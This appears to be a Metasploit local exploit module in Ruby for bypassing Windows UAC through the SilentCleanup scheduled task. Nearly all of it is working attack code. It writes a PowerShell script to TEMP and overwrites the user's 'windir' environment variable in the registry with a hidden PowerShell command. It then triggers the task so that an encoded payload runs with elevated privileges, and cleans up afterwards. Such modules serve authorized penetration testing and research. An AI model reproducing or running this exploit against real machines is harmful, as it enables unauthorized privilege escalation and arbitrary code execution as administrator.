Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::Powershell  
include Msf::Post::Windows::Priv  
include Msf::Post::File  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Windows Escalate UAC Protection Bypass (Via SilentCleanup)',  
'Description' => %q{  
There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as Users, automatically runs with elevated privileges.  
When it runs, it executes the file %windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables,  
%windir% (normally pointing to C:\Windows) can be changed to point to whatever we want, and it'll run as admin.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'tyranid', # Discovery  
'enigma0x3', # Discovery  
'nyshone69', # Discovery  
'Carter Brainerd (cbrnrd)' # Metasploit Module  
],  
'Platform' => ['win'],  
'SessionTypes' => ['meterpreter', 'shell'],  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [['Microsoft Windows', {}]],  
'DisclosureDate' => 'Feb 24 2019',  
'References' => [  
['URL', 'https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html'],  
['URL', 'https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/'],  
['URL', 'https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/'],  
['URL', 'https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/']  
]  
))  
  
register_options(  
[  
OptInt.new('SLEEPTIME', [false, 'The time (ms) to sleep before running SilentCleanup', 0]),  
OptString.new('PSH_PATH', [true, 'The path to the Powershell binary.', "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"])  
])  
end  
  
def get_bypass_script(cmd)  
scr = %Q{  
if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {  
#{cmd}  
} else {  
$registryPath = "HKCU:\\Environment"  
$Name = "windir"  
$Value = "powershell -ExecutionPolicy bypass -windowstyle hidden -Command `"& `'$PSCommandPath`'`";#"  
Set-ItemProperty -Path $registryPath -Name $name -Value $Value  
#Depending on the performance of the machine, some sleep time may be required before or after schtasks  
Start-Sleep -Milliseconds #{datastore['SLEEPTIME']}  
schtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I | Out-Null  
Remove-ItemProperty -Path $registryPath -Name $name  
}  
}  
vprint_status(scr)  
scr  
end  
  
def exploit  
check_permissions  
  
e_vars = get_envs('TEMP')  
payload_fp = "#{e_vars['TEMP']}\\#{rand_text_alpha(8)}.ps1"  
  
# Write it to disk, run, delete  
upload_payload_ps1(payload_fp)  
vprint_good("Payload uploaded to #{payload_fp}")  
  
cmd_exec("#{expand_path(datastore['PSH_PATH'])} -ep bypass #{payload_fp}")  
end  
  
def check_permissions  
# Check if you are an admin  
case is_in_admin_group?  
when nil  
print_error('Either whoami is not there or failed to execute')  
print_error('Continuing under assumption you already checked...')  
when true  
print_good('Part of Administrators group! Continuing...')  
when false  
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')  
end  
  
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]  
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')  
end  
end  
  
def upload_payload_ps1(filepath)  
pld = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)  
begin  
vprint_status('Uploading payload PS1...')  
write_file(filepath, get_bypass_script(pld))  
register_file_for_cleanup(filepath)  
rescue Rex::Post::Meterpreter::RequestError => e  
fail_with(Failure::Unknown, "Error uploading file #{filepath}: #{e.class} #{e}")  
end  
end  
end